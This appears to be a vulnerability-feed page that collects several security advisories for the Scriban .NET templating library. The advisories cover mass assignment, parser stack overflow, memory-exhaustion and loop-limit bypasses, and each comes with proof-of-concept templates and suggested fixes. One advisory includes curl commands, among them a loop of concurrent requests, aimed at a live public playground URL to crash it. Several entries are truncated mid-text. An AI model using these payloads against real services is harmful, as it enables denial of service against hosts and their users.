Threats affecting pkg:nuget/scriban

CVE-2026-124439 is a high-severity vulnerability in Scriban versions before 7.5.3 involving uncontrolled recursion. The flaw allows postfix member, indexer, and call chains to bypass expression depth limits, and array comparisons lack necessary depth and cycle checks. Additionally, object.eval bypasses recursive limits. An attacker who can supply templates may trigger an uncatchable StackOverflowException that terminates the host process. This vulnerability is fixed in version 7.5.3.

Scriban versions before 7.5.2 have a critical vulnerability that allows template authors to use reflection to access .NET internals of function values. This flaw enables attackers to read and overwrite sensitive information such as service properties, captured closure secrets, and assembly paths by exploiting array.map on imported delegates. The issue is fixed in version 7.5.2.

Scriban versions before 7.5.3 have a resource exhaustion vulnerability that allows untrusted template authors to consume excessive memory and CPU. This occurs because certain built-in functions bypass allocation guards, enabling attackers to craft templates that cause crashes or stalls in multi-tenant environments.

<!-- obsidian --><h2 data-heading="Description">Description</h2> <p>When a host pushes a CLR object into a Scriban <code>TemplateContext</code> via the standard, documented pattern —</p> <pre><code class="language-csharp">var so = new ScriptObject(); so["user"] = currentUser; // direct CLR reference context.PushGlobal(so); </code></pre> <p>— <code>TypedObjectAccessor</code> exposes every public-getter property for <strong>both reading and writing</strong>, and writes land on the live host object and <strong>persist after <code>Render()</code> returns</strong>. The write path performs no <code>CanWrite</code> and no setter-visibility check, producing two related but distinct weaknesses:</p> <p><strong>(A) Mass assignment of public setters — CWE-915 (originally F-002).</strong> Any <code>{ get; set; }</code> property is writable from template code (<code>{{ user.is_admin = true }}</code>, <code>{{ order.total_price = 0 }}</code>). This is "surprising but technically consistent with the setter being public" — and crucially, Scriban offers <strong>no way to expose such a property read-only</strong>, because <code>MemberFilter</code> is read/write-symmetric.</p> <p><strong>(B) Access-modifier bypass — CWE-284 (originally F-007).</strong> Properties the developer <strong>deliberately</strong> restricted are also writable, because reflection ignores C# accessibility:</p> Declaration | Developer intent | Actual behavior -- | -- | -- { get; set; } | writable | writable (mass assignment — A) { get; private set; } | only the owning class writes | template writes freely { get; internal set; } | only the declaring assembly writes | template writes freely { get; init; } | immutable after construction (C# 9 language guarantee) | template writes freely post-construction <p>The <code>init</code>-only post-construction write — the highest false-positive risk — was explicitly confirmed against the shipped 7.2.1 package.</p> <h2 data-heading="Affected Versions">Affected Versions</h2> <p>All releases that ship <code>TypedObjectAccessor</code> (<code>&#x3C;= 7.2.1</code>). <code>PrepareMembers</code> has used the getter-only filter since the accessor was introduced, and <code>TrySetValue</code> has never checked the setter. The <code>init</code> bypass applies on .NET 5+; <code>private set</code> / <code>internal set</code> apply on every supported runtime. No patched version exists.</p> <h2 data-heading="Steps to Reproduce">Steps to Reproduce</h2> <blockquote> <p>Copy-paste. Run from the engagement root (the folder containing both <code>scriban/</code> and <code>reports/</code>).</p> </blockquote> <p><strong>Prereqs:</strong></p> <pre><code class="language-bash">test -d scriban || { echo "scriban source missing"; exit 1; } ( command -v dotnet >/dev/null &#x26;&#x26; dotnet --list-sdks | grep -q '^10\.' ) \ || ( "$HOME/.dotnet/dotnet" --list-sdks | grep -q '^10\.' ) \ || { echo ".NET 10 SDK missing"; exit 1; } export PATH="$HOME/.dotnet:$PATH" </code></pre> <p><strong>Run both PoCs (native):</strong></p> <pre><code class="language-bash">( cd reports/f002/poc &#x26;&#x26; dotnet run -c Release ) # (A) public-setter mass assignment ( cd reports/f007/poc &#x26;&#x26; dotnet run -c Release ) # (B) private/internal/init bypass </code></pre> <p><strong>Docker fallback (no native SDK required):</strong></p> <pre><code class="language-bash">docker run --rm -v "$PWD":/work -w /work/reports/f007/poc \ mcr.microsoft.com/dotnet/sdk:10.0 bash -lc "dotnet run -c Release" </code></pre> <p><strong>Confirm the published package is affected (not just master):</strong> swap the <code>ProjectReference</code> in <code>reports/f007/poc/poc.csproj</code> for <code>&#x3C;PackageReference Include="Scriban" Version="7.2.1" /></code> and re-run — the four bypasses still succeed.</p> <p>Each PoC prints <code>[1]</code> original CLR values, <code>[2]</code> template output (reads originals → writes → reads back), and <code>[3]</code> the <strong>C#-side</strong> read after <code>Render()</code> proving the live host object was permanently altered.</p> <h2 data-heading="Remediation">Remediation</h2> <p>Fixes are listed flat. Note that (B) has a clean, clearly-correct code fix; (A) requires a <em>new control</em> because public-setter writes are otherwise by-design.</p> <ul> <li><strong>Fix 1 — block restricted setters in <code>TrySetValue</code> (<code>TypedObjectAccessor.cs</code> L108–L123). Fixes (B).</strong> Before the L120 <code>SetValue</code>, require a public, non-<code>init</code> setter: <pre><code class="language-csharp">var setM = propertyAccessor.GetSetMethod(nonPublic: false); if (setM is null) return false; // private / internal / protected setters if (setM.ReturnParameter.GetRequiredCustomModifiers() .Any(m => m.FullName == "System.Runtime.CompilerServices.IsExternalInit")) return false; // init-only: setter IS public, so the IsExternalInit check is REQUIRED </code></pre> A plain <code>GetSetMethod(

### Summary The `ExpressionDepthLimit` parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting `StackOverflowException` is **uncatchable** in .NET and **immediately terminates the host process**. Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to `object.eval` / `object.eval_template` — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (`Template.Parse`) and Liquid (`Template.ParseLiquid`) syntax modes, which share the same expression parser. This re-opens two advisories that were reported as fixed: **GHSA-wgh7-7m3c-fx25** ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and **GHSA-p6q4-fgr8-vx4p** ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. **All releases 6.6.0 through 7.2.0 (current) are affected.** ### Details The depth guard is `EnterExpression()` in `src/Scriban/Parsing/Parser.Expressions.cs`: ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:1209-1218 private void EnterExpression() { _expressionDepth++; var limit = Options.ExpressionDepthLimit; if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit) { LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement"); _isExpressionDepthLimitReached = true; } } ``` When the limit is exceeded it calls `LogError(...)` and sets a flag. It does **not** throw, does **not** return a sentinel, and does **not** unwind the parse. `LogError` here uses the default `isFatal: false`, so it merely appends a message and sets `HasErrors` — parsing proceeds: ```csharp // src/Scriban/Parsing/Parser.cs:476-488 private void Log(LogMessage logMessage, bool isFatal = false) { Messages.Add(logMessage); if (logMessage.Type == ParserMessageType.Error) { HasErrors = true; if (isFatal) _hasFatalError = true; // not set on the depth-limit path } } ``` The flag `_isExpressionDepthLimitReached` is consulted **only** to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (`grep -rn "_isExpressionDepthLimitReached" src/`): it appears in exactly four places — the field declaration (`Parser.cs:40`), a reset to `false` (`Parser.cs:106`), and within `EnterExpression` the dedup test (`Parser.Expressions.cs:1213`) and its assignment to `true` (`:1216`). The only *read* is the dedup test on line 1213; nothing else reads it. `ParseExpression` calls `EnterExpression()` and then continues straight into the token switch with no flag check: ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182 EnterExpression(); try { ... case TokenType.OpenParen: leftOperand = ParseParenthesis(); // recurses back into ParseExpression ``` ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:984-1001 private ScriptExpression ParseParenthesis() { var expression = Open<ScriptNestedExpression>(); ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen); expression.Expression = ExpectAndParseExpression(expression); // -> ParseExpression -> ParseParenthesis -> ... ... } ``` Both `Template.Parse` (Scriban-native) and `Template.ParseLiquid` (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected. So for input nested N levels deep, the parser recurses N levels deep regardless of `ExpressionDepthLimit`. There is no `RuntimeHelpers.EnsureSufficientExecutionStack()` call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises `StackOverflowException`, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation. The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: `ParseArrayInitializer` was wrapped in `EnterExpression()/LeaveExpression()`, but because `EnterExpression()` only logs, the array path still overflows. The existing regression tests only assert `HasErrors == true` at a nesting depth of ~20 with a limit of 10 (`src/Scriban.Tests/TestParser.cs`); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS. **Runtime reachability without

### Summary The array multiplication operator (`array * integer`) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with **no `LoopLimit` / `LimitToString` check and no overflow-safe arithmetic**. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service. This is the unguarded sibling of operations that *were* hardened against the same class of abuse: `string * integer` (gated by a `LimitToString` pre-check), `array.insert_at` (gated by `StepLoop`/`LoopLimit` — the **GHSA-24c8-4792-22hx** fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by **GHSA-c875-h985-hvrc** ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same `LoopLimit`-based hardening pattern was applied to those operations but never to `array * integer`. This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: `(1..5) * 50000000` (and `1..N | array.size`) correctly throws `Exceeding number of iteration limit '1000'`, while `[1,2,3,4,5] * 50000000` allocates ~2 GB with no limit. The `LoopLimit` control is enforced on the iteration path but not on the `array * int` allocation path, side by side, in the same version. The bug has been present since the operator was introduced in **3.0.0**, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's `LoopLimit` hardening. ### Details The `array * int` operator is handled in `ScriptArray<T>.TryEvaluate`: ```csharp // src/Scriban/Runtime/ScriptArray.cs:504-508 (Multiply case) var newArray = new ScriptArray<T>(intModifier * array.Count); for (int i = 0; i < intModifier; i++) { newArray.AddRange(array); } ``` `intModifier` is the attacker-supplied integer (`context.ToInt(...)`, `ScriptArray.cs:399`). Two problems: 1. **No resource limit.** Neither `new ScriptArray<T>(intModifier * array.Count)` nor the `AddRange` loop consults `LoopLimit`, `LimitToString`, or calls `context.StepLoop(...)`. A grep of the entire `TryEvaluate` method (`ScriptArray.cs:360-560`) finds no `StepLoop` / `LoopLimit` / `Limit` reference. `LoopLimit` (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error. 2. **Integer overflow in the capacity.** `intModifier * array.Count` is unchecked `int` arithmetic. The overflow-safe `long` cast used by the string sibling is absent here. The DoS-hardening passes guarded the two sibling operations but not this one: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341 (string * int — GUARDED) if (context.LimitToString > 0 && value > 0 && leftText.Length > 0 && (long)leftText.Length * value > context.LimitToString) // long arithmetic, pre-check { throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`."); } ``` ```csharp // src/Scriban/Functions/ArrayFunctions.cs:414 (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0) for (int i = array.Count; i < index; i++) { context.StepLoop(span, ref loopStep); // LoopLimit enforced array.Add(null); } ``` `array * int` (`ScriptArray.cs:504`) received neither guard. When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243 catch (Exception ex) when (!(ex is ScriptRuntimeException)) { throw new ScriptRuntimeException(span, ex.Message); } ``` So a host that wraps `Render()` in `try/catch` sees a `ScriptRuntimeException` carrying the original `OutOfMemoryException` message (or `ArgumentOutOfRangeException` on the integer-overflow path). ### PoC A single console project reproduces it on the released NuGet package. `poc.csproj`: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. --> </PropertyGroup> <ItemGroup> <PackageReference Include="Scriban" Version="7.2.0" /> </ItemGroup> </Project> ``` `Program.cs`: ```csharp using Scriban; // ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}"; System.Console.WriteLine("Rendering..."); var sw = System.Diagnostics.Stopwatch.StartNew(); var result = Template.Parse(tpl).Render(); // allocates ~7.7 GB System.Console.WriteLine($"size={result.Trim()} peakWS=" + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024) + "MB elapsed=" + sw.ElapsedMilliseconds + "ms"); ``` Run: ```sh dotnet run -c Release ``` Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multip

A denial-of-service (DoS) vulnerability exists in Scriban's array.insert_at template function due to an unbounded loop that allocates null entries without respecting configured loop or recursion limits. This can cause an OutOfMemoryException that terminates the host process. The issue affects Scriban versions prior to 7.2.0 and is exploitable by template authors specifying very large index values in array.insert_at calls.

## Summary Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (`LimitToString`, `LoopLimit`) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates. ## Details ### Vector 1: Unbounded string multiplication In `ScriptBinaryExpression.cs`, the `CalculateToString` method handles the `string * int` operator by looping without any upper bound: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334 var leftText = context.ObjectToString(left); var builder = new StringBuilder(); for (int i = 0; i < value; i++) { builder.Append(leftText); } return builder.ToString(); ``` The `LimitToString` safety control (default 1MB) does **not** protect this code path. It only applies to `ObjectToString` output conversions in `TemplateContext.Helpers.cs` (lines 101-121), not to intermediate string values constructed inside `CalculateToString`. The `LoopLimit` also does not apply because this is a C# `for` loop, not a template-level loop — `StepLoop()` is never called here. ### Vector 2: Unbounded BigInteger shift left The `CalculateLongWithInt` and `CalculateBigIntegerNoFit` methods handle `ShiftLeft` without any bound on the shift amount: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711 case ScriptBinaryOperator.ShiftLeft: return (BigInteger)left << (int)right; ``` ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784 case ScriptBinaryOperator.ShiftLeft: return left << (int)right; ``` In contrast, the `Power` operator at lines 722 and 795 uses `BigInteger.ModPow(left, right, MaxBigInteger)` to cap results. The `MaxBigInteger` constant (`BigInteger.One << 1024 * 1024`, defined at line 690) already exists but is never applied to shift operations. ### Vector 3: LoopLimit bypass via range enumeration in builtin functions The range operators `..` and `..<` produce lazy `IEnumerable<object>` iterators: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417 private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right) { if (left < right) { for (var i = left; i <= right; i++) { yield return FitToBestInteger(i); } } // ... } ``` When these ranges are consumed by builtin functions, `LoopLimit` is completely bypassed because `StepLoop()` is only called in `ScriptForStatement` and `ScriptWhileStatement` — it is never called in any function under `src/Scriban/Functions/`. For example: - `ArrayFunctions.Size` (line 609) calls `.Cast<object>().Count()`, fully enumerating the range - `ArrayFunctions.Join` (line 388) iterates with `foreach` and appends to a `StringBuilder` with no size limit ## PoC ### Vector 1 — String multiplication OOM: ```csharp var template = Template.Parse("{{ 'AAAA' * 500000000 }}"); var context = new TemplateContext(); // context.LimitToString is 1048576 by default — does NOT protect this path template.Render(context); // OutOfMemoryException: attempts ~2GB allocation ``` ### Vector 2 — BigInteger shift OOM: ```csharp var template = Template.Parse("{{ 1 << 100000000 }}"); var context = new TemplateContext(); template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB) // {{ 1 << 2000000000 }} attempts ~250MB ``` ### Vector 3 — LoopLimit bypass via range + builtin: ```csharp var template = Template.Parse("{{ (0..1000000000) | array.size }}"); var context = new TemplateContext(); // context.LoopLimit is 1000 — does NOT protect builtin function iteration template.Render(context); // CPU exhaustion: enumerates 1 billion items ``` ```csharp var template = Template.Parse("{{ (0..10000000) | array.join ',' }}"); var context = new TemplateContext(); template.Render(context); // Memory exhaustion: builds ~80MB+ joined string ``` ## Impact An attacker who can supply a Scriban template (common in CMS platforms, email templating systems, reporting tools, and other applications embedding Scriban) can cause denial of service by crashing the host process via `OutOfMemoryException` or exhausting CPU resources. This is particularly impactful because: 1. Applications relying on the default safety controls (`LoopLimit=1000`, `LimitToString=1MB`) believe they are protected against resource exhaustion from untrusted templates, but these controls have gaps. 2. A single malicious template expression is sufficient — no complex template logic is required. 3. The `OutOfMemoryException` in vectors 1 and 2 typically terminates the entire process, not just the template evaluation. ## Recommended Fix ### Vector 1 — String multiplication: Check `LimitToString` before the loop ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, before line 330 var leftText = context.ObjectToString(left);

## Summary The `LimitToString` safety limit (default 1MB since commit `b5ac4bf`) can be bypassed to allocate approximately 1GB of memory by exploiting the per-call reset of `_currentToStringLength` in `ObjectToString`. Each template expression rendered through `TemplateContext.Write(SourceSpan, object)` triggers a separate top-level `ObjectToString` call that resets the length counter to zero, and the underlying `StringBuilderOutput` has no cumulative output size limit. An attacker who can supply a template can cause an out-of-memory condition in the host application. ## Details The root cause is in `TemplateContext.Helpers.cs`, in the `ObjectToString` method: ```csharp // src/Scriban/TemplateContext.Helpers.cs:89-111 public virtual string ObjectToString(object value, bool nested = false) { if (_objectToStringLevel == 0) { _currentToStringLength = 0; // <-- resets on every top-level call } try { _objectToStringLevel++; // ... var result = ObjectToStringImpl(value, nested); if (LimitToString > 0 && _objectToStringLevel == 1 && result != null && result.Length >= LimitToString) { return result + "..."; } return result; } // ... } ``` Each time a template expression is rendered, `TemplateContext.Write(SourceSpan, object)` calls `ObjectToString`: ```csharp // src/Scriban/TemplateContext.cs:693-701 public virtual TemplateContext Write(SourceSpan span, object textAsObject) { if (textAsObject != null) { var text = ObjectToString(textAsObject); // fresh _currentToStringLength = 0 Write(text); } return this; } ``` The `StringBuilderOutput.Write` method appends unconditionally with no size check: ```csharp // src/Scriban/Runtime/StringBuilderOutput.cs:47-50 public void Write(string text, int offset, int count) { Builder.Append(text, offset, count); // no cumulative limit } ``` **Execution flow:** 1. Template creates a string of length 1,048,575 (one byte under the 1MB `LimitToString` default) 2. A `for` loop iterates up to `LoopLimit` (default 1000) times 3. Each iteration renders the string via `Write(span, x)` → `ObjectToString(x)` 4. `ObjectToString` resets `_currentToStringLength = 0` since `_objectToStringLevel == 0` 5. The string passes the `LimitToString` check (1,048,575 < 1,048,576) 6. Full string is appended to `StringBuilder` — no cumulative tracking 7. After 1000 iterations: ~1GB allocated in-memory ## PoC ```csharp using Scriban; // Uses only default TemplateContext settings (LoopLimit=1000, LimitToString=1048576) var template = Template.Parse("{{ x = \"\" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }}"); // This will allocate ~1GB in the StringBuilder, likely causing OOM var result = template.Render(); ``` Equivalent Scriban template: ```scriban {{ x = "" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }} ``` Each of the 1000 loop iterations outputs a 1,048,575-character string. Each passes the per-call `LimitToString` check independently. Total output: ~1,000,000,000 characters (~1GB) allocated in the `StringBuilder`. ## Impact - **Denial of Service:** An attacker who can supply Scriban templates (common in CMS, email templating, report generation) can crash the host application via out-of-memory - **Process-level impact:** OOM kills the entire .NET process, not just the template rendering — affects all concurrent users - **Bypass of safety mechanism:** The `LimitToString` limit was specifically introduced to prevent resource exhaustion, but the per-call reset makes it ineffective against cumulative abuse - **Low complexity:** The exploit template is trivial — a single line ## Recommended Fix Add a cumulative output size counter to `TemplateContext` that tracks total bytes written across all `Write` calls, independent of the per-object `LimitToString`: ```csharp // In TemplateContext.cs — add new property and field private long _totalOutputLength; /// <summary> /// Gets or sets the maximum total output length in characters. Default is 10485760 (10 MB). 0 means no limit. /// </summary> public int OutputLimit { get; set; } = 10485760; // In TemplateContext.Write(string, int, int) — add check before writing public TemplateContext Write(string text, int startIndex, int count) { if (text != null) { if (OutputLimit > 0) { _totalOutputLength += count; if (_totalOutputLength > OutputLimit) { throw new ScriptRuntimeException(CurrentSpan, $"The output limit of {OutputLimit} characters was reached."); } } // ... existing indent/write logic } return this; } ``` This provides defense-in-depth: `LimitToString` caps individual object serialization, while `OutputLimit` caps total template output.

## Summary The `object.to_json` builtin function in Scriban performs recursive JSON serialization via an internal `WriteValue()` static local function that has no depth limit, no circular reference detection, and no stack overflow guard. A Scriban template containing a self-referencing object passed to `object.to_json` triggers unbounded recursion, causing a `StackOverflowException` that terminates the hosting .NET process. This is a fatal, unrecoverable crash — `StackOverflowException` cannot be caught by user code in .NET. ## Details The vulnerable code is the `WriteValue()` static local function at `src/Scriban/Functions/ObjectFunctions.cs:494`: ```csharp static void WriteValue(TemplateContext context, Utf8JsonWriter writer, object value) { var type = value?.GetType() ?? typeof(object); if (value is null || value is string || value is bool || type.IsPrimitiveOrDecimal() || value is IFormattable) { JsonSerializer.Serialize(writer, value, type); } else if (value is IList || type.IsArray) { writer.WriteStartArray(); foreach (var x in context.ToList(context.CurrentSpan, value)) { WriteValue(context, writer, x); // recursive, no depth check } writer.WriteEndArray(); } else { writer.WriteStartObject(); var accessor = context.GetMemberAccessor(value); foreach (var member in accessor.GetMembers(context, context.CurrentSpan, value)) { if (accessor.TryGetValue(context, context.CurrentSpan, value, member, out var memberValue)) { writer.WritePropertyName(member); WriteValue(context, writer, memberValue); // recursive, no depth check } } writer.WriteEndObject(); } } ``` This function has **none** of the safety mechanisms present in other recursive paths: - `ObjectToString()` at `TemplateContext.Helpers.cs:98` checks `ObjectRecursionLimit` (default 20) - `EnterRecursive()` at `TemplateContext.cs:957` calls `RuntimeHelpers.EnsureSufficientExecutionStack()` - `CheckAbort()` at `TemplateContext.cs:464` also calls `EnsureSufficientExecutionStack()` The `WriteValue()` function bypasses all of these because it is a static local function that only takes the `TemplateContext` for member access — it never calls `EnterRecursive()`, never checks `ObjectRecursionLimit`, and never calls `EnsureSufficientExecutionStack()`. **Execution flow:** 1. Template creates a ScriptObject: `{{ x = {} }}` 2. Sets a self-reference: `x.self = x` — stores a reference in `ScriptObject.Store` dictionary 3. Pipes to `object.to_json`: `x | object.to_json` → calls `ToJson()` at line 477 4. `ToJson()` calls `WriteValue(context, writer, value)` at line 488 5. `WriteValue` enters the `else` branch (line 515), gets members via accessor, finds "self" 6. `TryGetValue` returns `x` itself, `WriteValue` recurses with the same object — infinite loop 7. `StackOverflowException` is thrown — **fatal, cannot be caught, process terminates** ## PoC ```scriban {{ x = {}; x.self = x; x | object.to_json }} ``` In a hosting application: ```csharp using Scriban; // This will crash the entire process with StackOverflowException var template = Template.Parse("{{ x = {}; x.self = x; x | object.to_json }}"); var result = template.Render(); // FATAL: process terminates here ``` Even without circular references, deeply nested objects can exhaust the stack since no depth limit is enforced: ```scriban {{ a = {} b = {inner: a} c = {inner: b} d = {inner: c} # ... continue nesting ... result = deepest | object.to_json }} ``` ## Impact - **Process crash DoS**: Any application embedding Scriban for user-provided templates (CMS platforms, email template engines, report generators, static site generators) can be crashed by a single malicious template. The crash is unrecoverable — `StackOverflowException` terminates the .NET process. - **No try/catch protection possible**: Unlike most exceptions, `StackOverflowException` cannot be caught by application code. The hosting application cannot wrap `template.Render()` in a try/catch to survive this. - **No authentication required**: `object.to_json` is a default builtin function (registered in `BuiltinFunctions.cs`), available in all Scriban templates unless explicitly removed. - **Trivial to exploit**: The PoC is a single line of template code. ## Recommended Fix Add a depth counter parameter to `WriteValue()` and check it against `ObjectRecursionLimit`, consistent with how `ObjectToString` is protected. Also add `EnsureSufficientExecutionStack()` as a safety net: ```csharp static void WriteValue(TemplateContext context, Utf8JsonWriter writer, object value, int depth = 0) { if (context.ObjectRecursionLimit != 0 && depth > context.ObjectRecursionLimit) { throw new ScriptRuntimeException(context.CurrentSpan, $"Exceeding object recursion limit `{context.ObjectRecursion

## Summary The built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`. ## Details `StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET's `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking: ```csharp // src/Scriban/Functions/StringFunctions.cs:1181-1183 public static string PadLeft(string text, int width) { return (text ?? string.Empty).PadLeft(width); } // src/Scriban/Functions/StringFunctions.cs:1200-1202 public static string PadRight(string text, int width) { return (text ?? string.Empty).PadRight(width); } ``` The `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function — it occurs before output rendering. The Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with: - No authentication - Template size limit of 1KB (line 71) — the payload fits in 39 bytes - A 2-second timeout via `CancellationTokenSource` (line 118) — but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect. - Rate limiting of 30 requests/minute (line 25) ## PoC Single request to crash or degrade the AppService: ```bash curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' ``` This 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding). **Expected result:** The service returns an error or truncated output safely. **Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process. Sustained attack with rate limiting: ```bash # 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure for i in $(seq 1 30); do curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' & done wait ``` The `string.pad_right` variant works identically: ```bash curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}' ``` ## Impact - **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`. - An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request. - With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery. - The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation. ## Recommended Fix Add width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available: ```csharp // src/Scriban/Functions/StringFunctions.cs // Option 1: Fixed reasonable maximum (simplest fix) public static string PadLeft(string text, int width) { if (width < 0) width = 0; if (width > 1_048_576) width = 1_048_576; // 1MB cap return (text ?? string.Empty).PadLeft(width); } public static string PadRight(string text, int width) { if (width < 0) width = 0; if (width > 1_048_576) width = 1_048_576; // 1MB cap return (text ?? string.Empty).PadRight(width); } ``` Alternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.

## Summary Scriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value. ## Details The relevant code path is: - `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46. - `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()`, not to internal helper iteration. - `array.size` in `src/Scriban/Functions/ArrayFunctions.cs` lines 596–609 calls `list.Cast<object>().Count()` for non-collection enumerables. - `1..N` creates a `ScriptRange` from `ScriptBinaryExpression.RangeInclude()` in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 745–748. - `ScriptRange` then yields every element one by one **without going through `StepLoop()`** in `src/Scriban/Runtime/ScriptRange.cs`. This means a single statement can perform arbitrarily large iteration without being stopped by `LoopLimit`. There is also a related memory-amplification path in `string * int`: - `ScriptBinaryExpression.CalculateToString()` appends in a plain `for` loop in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 301–334. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc3 cd scriban-poc3 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using Scriban; var template = Template.Parse("{{ 1..1000000 | array.size }}"); var context = new TemplateContext { LoopLimit = 1 }; Console.WriteLine(template.Render(context)); ``` ### Run ```bash dotnet run ``` ### Actual Output ``` 1000000 ``` ### Expected Behavior A safety limit of `LoopLimit = 1` should prevent a template from performing one million iterations worth of work. ### Optional Stronger Variant (Memory Amplification) ```csharp using Scriban; var template = Template.Parse("{{ 'A' * 200000000 }}"); var context = new TemplateContext { LoopLimit = 1 }; template.Render(context); ``` This variant demonstrates that `LoopLimit` also does not constrain large internal allocation work. --- ## Impact This is an 